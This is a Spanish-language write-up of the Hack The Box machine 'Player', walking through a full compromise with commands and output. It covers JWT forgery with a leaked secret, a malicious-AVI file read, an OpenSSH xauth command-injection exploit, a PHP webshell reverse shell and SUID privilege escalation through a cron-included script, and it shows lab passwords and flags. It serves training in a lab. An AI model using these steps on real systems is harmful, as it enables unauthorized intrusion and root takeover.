Player



Conocimientos


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.145 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-13 15:22 GMT
Nmap scan report for 10.10.10.145
Host is up (0.061s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6686/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80,6686 10.10.10.145 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-13 15:23 GMT
Nmap scan report for 10.10.10.145
Host is up (0.28s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
|   2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
|   256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_  256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.7 (Ubuntu)
6686/tcp open  ssh     OpenSSH 7.2 (protocol 2.0)
Service Info: Host: player.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.46 seconds

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.10.145
http://10.10.10.145 [403 Forbidden] Apache[2.4.7], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.10.145], Title[403 Forbidden]

La página principal devuelve un código de estado 403. Aplico fuzzing para descubrir rutas

gobuster dir -u http://10.10.10.145/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.145/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
2023/10/13 15:28:45 Starting gobuster in directory enumeration mode
===============================================================
/launcher             (Status: 301) [Size: 314] [--> http://10.10.10.145/launcher/]

La ruta /launcher se ve así:

Introduzco un correo e intercepto la petición con BurpSuite. Se está setteando una cookie formada por un JWT

GET /launcher/dee8dc8a47256c64630d803a4c40786c.php? HTTP/1.1
Host: 10.10.10.145
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://10.10.10.145/launcher/index.html
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzU
Upgrade-Insecure-Requests: 1

Lo introduzco en jwt.io para ver los campos que la forman

Por el momento no me sirve de nada, así que añado el dominio player.htb al /etc/hosts y fuzzeo los subdominios

wfuzz -c --hw=30 -t 200 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.player.htb" http://player.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://player.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                        
=====================================================================

000000070:   200        259 L    714 W      9513 Ch     "chat"                                                                                                                                         
000000067:   200        63 L     180 W      1470 Ch     "staging"                                                                                                                                      
000000019:   200        86 L     229 W      5243 Ch     "dev"                                                                                                                                          

Total time: 0
Processed Requests: 4989
Filtered Requests: 4986
Requests/sec.: 0

Agrego chat.player.htb, staging.player.htb y dev.player.htb al /etc/hosts. En el navegador, se ven así:

Desde el apartado Contact Core Team puedo enviar un examen

Lo intercepto con BurpSuite y, al enviar, aparece un error en la respuesta

HTTP/1.1 200 OK
Date: Fri, 13 Oct 2023 16:54:36 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
refresh: 0;url=501.php
Vary: Accept-Encoding
Content-Length: 818
Connection: close
Content-Type: text/html

array(3) {
  [0]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(6)
    ["function"]=>
    string(1) "c"
    ["args"]=>
    array(1) {
      [0]=>
      &string(9) "Cleveland"
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(3)
    ["function"]=>
    string(1) "b"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Glenn"
    }
  }
  [2]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(11)
    ["function"]=>
    string(1) "a"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Peter"
    }
  }
}
Database connection failed.<html><br />Unknown variable user in /var/www/backup/service_config fatal error in /var/www/staging/fix.php

Se leakean la rutas /var/www/staging/contact.php, /var/www/backup/service_config y /var/www/staging/fix.php, los nombres de usuarios; Peter, Glenn y Cleveland. Antes había visto un archivo php en /launcher, que me sirvió para extraer un JWT. En ocasiones, debido a malas prácticas se almacenan backups o copias en producción, que son accesibles teniendo el nombre. Fuzzeo por subextensiones sobre dee8dc8a47256c64630d803a4c40786c.php

wfuzz -c --hw=32 -t 200 -w /usr/share/seclists/Discovery/Web-Content/raft-large-extensions.txt http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.phpFUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.phpFUZZ
Total requests: 2450

=====================================================================
ID           Response   Lines    Word       Chars       Payload                               
=====================================================================

000000359:   403        10 L     30 W       327 Ch      ".phps"                               
000001292:   404        9 L      33 W       322 Ch      ". T."                                
000001293:   404        9 L      33 W       323 Ch      ". php"                               
000001291:   404        9 L      34 W       343 Ch      ". EXTRAHOTELERO HOSPEDAJE"           

Total time: 0
Processed Requests: 2450
Filtered Requests: 2446
Requests/sec.: 0

No he encontrado nada, pero puede que no sea una extensión si no un caracter especial lo que esté añadido

wfuzz -c --hw=32 -t 200 -w /usr/share/seclists/Fuzzing/special-chars.txt http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.phpFUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.phpFUZZ
Total requests: 32

=====================================================================
ID           Response   Lines    Word       Chars       Payload                               
=====================================================================

000000001:   200        32 L     66 W       742 Ch      "~"                                   
000000026:   302        0 L      0 W        0 Ch        "?"                                   
000000025:   302        0 L      0 W        0 Ch        "/"                                   
000000004:   302        0 L      0 W        0 Ch        "#"                                   
000000006:   400        10 L     35 W       301 Ch      "%"                                   
000000027:   302        0 L      0 W        0 Ch        ";"                                   

Total time: 0
Processed Requests: 32
Filtered Requests: 26
Requests/sec.: 0

La ~ devuelve un código de estado 200. Descargo este archivo a mi equipo

curl 'http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~' -o dee8dc8a47256c64630d803a4c40786c.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   742  100   742    0     0   3016      0 --:--:-- --:--:-- --:--:--  3028

Puedo leer el código fuente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require 'vendor/autoload.php';

use \Firebase\JWT\JWT;

if(isset($_COOKIE["access"]))
{
    $key = '_S0_R@nd0m_P@ss_';
    $decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
    if($decoded->access_code === "0E76658526655756207688271159624026011393")
    {
        header("Location: 7F2xxxxxxxxxxxxx/");
    }
    else
    {
        header("Location: index.html");
    }
}
else
{
    $token_payload = [
      'project' => 'PlayBuff',
      'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
    ];
    $key = '_S0_R@nd0m_P@ss_';
    $jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
    $cookiename = 'access';
    setcookie('access',$jwt, time() + (86400 * 30), "/");
    header("Location: index.html");
}

?>

Aparece el secreto de forma hardcodeada. Modifico el código de mi JWT al otro que aparece y lo firmo con la key. Es importante dejar los datos encodeados en base64 ya que en caso contrario dará error

Le tramito una petición por GET con la nueva cookie y en las cabeceras de respuesta aparece un Location que realiza un redirect

curl -s -X GET http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php -H "Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE" -I
HTTP/1.1 302 Found
Date: Fri, 13 Oct 2023 17:16:28 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: 7F2dcsSdZo6nj3SNMTQ1/
Content-Length: 0
Content-Type: text/html

Desde el navegador, abro la ruta /launcher/7F2dcsSdZo6nj3SNMTQ1/

Puedo subir un archivo. A modo de prueba, selecciono el archivo openports e intercepto la petición con BurpSuite

POST /launcher/7F2dcsSdZo6nj3SNMTQ1/upload.php HTTP/1.1
Host: player.htb
Content-Length: 670
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://player.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCAC3aiq3wHV01Qdl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryCAC3aiq3wHV01Qdl
Content-Disposition: form-data; name="media"; filename="openports"
Content-Type: application/octet-stream

# Nmap 7.94 scan initiated Fri Oct 13 15:22:54 2023 as: nmap -p- --open --min-rate 5000 -n -Pn -sS -oG openports 10.10.10.145
Host: 10.10.10.145 ()	Status: Up
Host: 10.10.10.145 ()	Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 6686/open/tcp/////	Ignored State: closed (65532)
# Nmap done at Fri Oct 13 15:23:07 2023 -- 1 IP address (1 host up) scanned in 13.17 seconds
------WebKitFormBoundaryCAC3aiq3wHV01Qdl
Content-Disposition: form-data; name="Submit"
Submit
------WebKitFormBoundaryCAC3aiq3wHV01Qdl--

Se está tramitando una petición contra upload.php. Al enviar, reporta un link donde se puede acceder al archivo en formato AVI

Compressing done. You can access your media from below link: <br /><br /><a href="http:\/\/player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/uploads/1563842433.avi">Buffed Media</a>

En PayloadAllTheThings mencionan una vulnerabilidad que permite la lectura de archivos locales de la máquina a través de la creación de un AVI malicioso

Descargo el exploit desde Github. Lo ejecuto y a modo de prueba indico el archivo /etc/passwd

python3 gen_xbin_avi.py file:///etc/passwd testing.avi

Al subirlo, se procesa y si hago click en el enlace para descargar, obtengo un AVI nuevo. Al estar en formato de vídeo, los datos no se ven directamente

file 1821016771.avi
1821016771.avi: RIFF (little-endian) data, AVI, 256 x 240, 25.00 fps, video: FFMpeg MPEG-4

Sin embargo, al abrirlo con un reproductor de vídeo, como puede ser VLC Media Player, partes del archivo se leakean por imágenes

Debido a un Information Disclosure que se acontencía anteriormente en un error, conseguí una ruta de backups. Miro a ver en que consiste

python3 gen_xbin_avi.py file:///var/www/backup/service_config backup.avi

Puedo ver un usuario y contraseña

No son válidas por SSH para el usuario telegen

ssh telegen@10.10.10.145
The authenticity of host '10.10.10.145 (10.10.10.145)' can't be established.
ED25519 key fingerprint is SHA256:8rmrsyqW6LHgmTrVtFYDb+HfglaTm6iWUYZCxFUGg8E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.145' (ED25519) to the list of known hosts.
telegen@10.10.10.145's password: 
Permission denied, please try again.

Me traigo el archivo fix.php

python3 gen_xbin_avi.py file:///var/www/staging/fix.php fix.avi

Pero no contiene nada interesante

La máquina tenía otro puerto abierto por SSH, asi que intento conectarme por este. Gano acceso a un contenedor

sshpass -p 'd-bC|jC!2uepS/w' ssh telegen@10.10.10.145 -p 6686
Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104
Environment:
  USER=telegen
  LOGNAME=telegen
  HOME=/home/telegen
  PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
  MAIL=/var/mail/telegen
  SHELL=/usr/bin/lshell
  SSH_CLIENT=10.10.16.5 51372 6686
  SSH_CONNECTION=10.10.16.5 51372 10.10.10.145 6686
  SSH_TTY=/dev/pts/0
  TERM=xterm-kitty
========= PlayBuff ==========
Welcome to Staging Environment

telegen:~$

Pero aparentemente no puedo ejecutar comandos

telegen:~$ id
*** forbidden command: id
telegen:~$ whoami
*** forbidden command: whoami

Como shell está asignada una lshell. La versión que se emplea de OpenSSH es vulnerable a una inyección de comandos

searchsploit openssh 7.2 | grep -i command
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection                                                                                                                        | multiple/remote/39569.py

Me traigo el exploit

searchsploit -m multiple/remote/39569.py
  Exploit: OpenSSH 7.2p1 - (Authenticated) xauth Command Injection
      URL: https://www.exploit-db.com/exploits/39569
     Path: /usr/share/exploitdb/exploits/multiple/remote/39569.py
    Codes: CVE-2016-3115
 Verified: False
File Type: ASCII text, with very long lines (407)
Copied to: /home/rubbx/Desktop/HTB/Machines/Player/39569.py

Al ejecutar, aparece un menú con las distintas opciones

python2 39569.py 10.10.10.145 6686 telegen 'd-bC|jC!2uepS/w'
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/w@10.10.10.145:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> 

Puedo leer archivos y sobrescribirlos en algunos casos. Obtengo la primera flag

#> .readfile /home/telegen/user.txt
DEBUG:__main__:auth_cookie: 'xxxx\nsource /home/telegen/user.txt\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:0cda14ef259265f88e95237ddc44fff2

Escalada

Obtengo el archivo fix.php. Ahora sí es legible

#> .readfile /var/www/staging/fix.php
DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:<?php
class
protected
protected
protected
public
return
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
if($result
static::failed($test_name);
}
static::passed($test_name);
}
}
public
if(!$username){
$username
$password
}
//modified
//for
//fix
//peter
//CQXpm\z)G5D#%S$y=
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
echo
echo
echo
}
private
echo
static::$failed++;
}
private
static::character(".");
static::$passed++;
}
private
echo
static::$last_echoed
}
private
if(static::$last_echoed
echo
static::$last_echoed
}
}

Se encuentran credenciales para el usuario peter:CQXpm\z)G5D#%S$y= pero no son válidas por SSH. Sin embargo, se reutilizan para el panel de dev.player.htb

Corresponde a una interfaz de Codiac

Puedo crear un nuevo proyecto

Están limitadas las rutas donde almacenarlos. En la esquina inferior derecha se leakea cual de ellas está permitida

Introduzco /var/www/demo/test. Si introduzco el endpoint test en el subdomino actual, devuelve un código de estado 403 por lo que es el directorio actual de trabajo

Al hacer click derecho sobre el proyecto, aparece la opción de crear un archivo

Añado uno con extensión PHP

Con la función system me envío una reverse shell

Le tramito una petición por GET a este archivo y gano acceso al sistema en una sesión de netcat

curl -s -X GET http://dev.player.htb/test/pwned.php
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.145] 44372
bash: cannot set terminal process group (2274): Inappropriate ioctl for device
bash: no job control in this shell
www-data@player:/var/www/demo/test$ script /dev/null -c bash
script /dev/null -c bash
www-data@player:/var/www/demo/test$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
            reset xterm
www-data@player:/var/www/demo/test$ export TERM=xterm-color
www-data@player:/var/www/demo/test$ export SHELL=bash
www-data@player:/var/www/demo/test$ stty rows 55 columns 209
www-data@player:/var/www/demo/test$ source /etc/skel/.bashrc 

El servicio lo ejecuta la máquina host, no un contenedor

www-data@player:/var/www/demo/test$ hostname -I
10.10.10.145 dead:beef::250:56ff:feb9:10f5 

Me conecto como telegen empleando una bash

www-data@player:/tmp$ su telegen -s /bin/bash
Password: 
telegen@player:/tmp$ 

Subo el pspy para detectar tareas que se ejecutan en intervalos regulares de tiempo

2023/10/14 15:24:01 CMD: UID=0    PID=7043   | CRON 
2023/10/14 15:24:01 CMD: UID=0    PID=7045   | /usr/bin/php /var/lib/playbuff/buff.php 
2023/10/14 15:24:01 CMD: UID=0    PID=7044   | /bin/sh -c /usr/bin/php /var/lib/playbuff/buff.php > /var/lib/playbuff/error.log 

Se está ejecutando un script en PHP

telegen@player:/tmp$ cat /var/lib/playbuff/buff.php
<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
	public $logFile="/var/log/playbuff/logs.txt";
	public $logData="Updated";

	public function __wakeup()
	{
		file_put_contents(__DIR__."/".$this->logFile,$this->logData);
	}
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
	$update = file_get_contents("/var/lib/playbuff/logs.txt");
	$query = mysqli_query($conn, "update stats set status='$update' where id=1");
	if($query)
	{
		echo 'Update Success with serialized logs!';
	}
}
else
{
	file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
	$update = file_get_contents("/var/lib/playbuff/logs.txt");
	$query = mysqli_query($conn, "update stats set status='$update' where id=1");
	if($query)
	{
		echo 'Update Success!';
	}
}
?>

Se está incluyendo el script /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php. Su propietario es www-data y tiene capacidad de escritura. Me convierto en este y le añado una instrucción que le asigne el privilegio SUID a la bash

telegen@player:/tmp$ exit
exit
www-data@player:/tmp$
1
system("chmod u+s /bin/bash");

Puedo ver la segunda flag

www-data@player:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1021112 Oct  8  2014 /bin/bash
bash-4.3# cat /root/root.txt
c171efc58bf4b42efe8dc9b046ac892e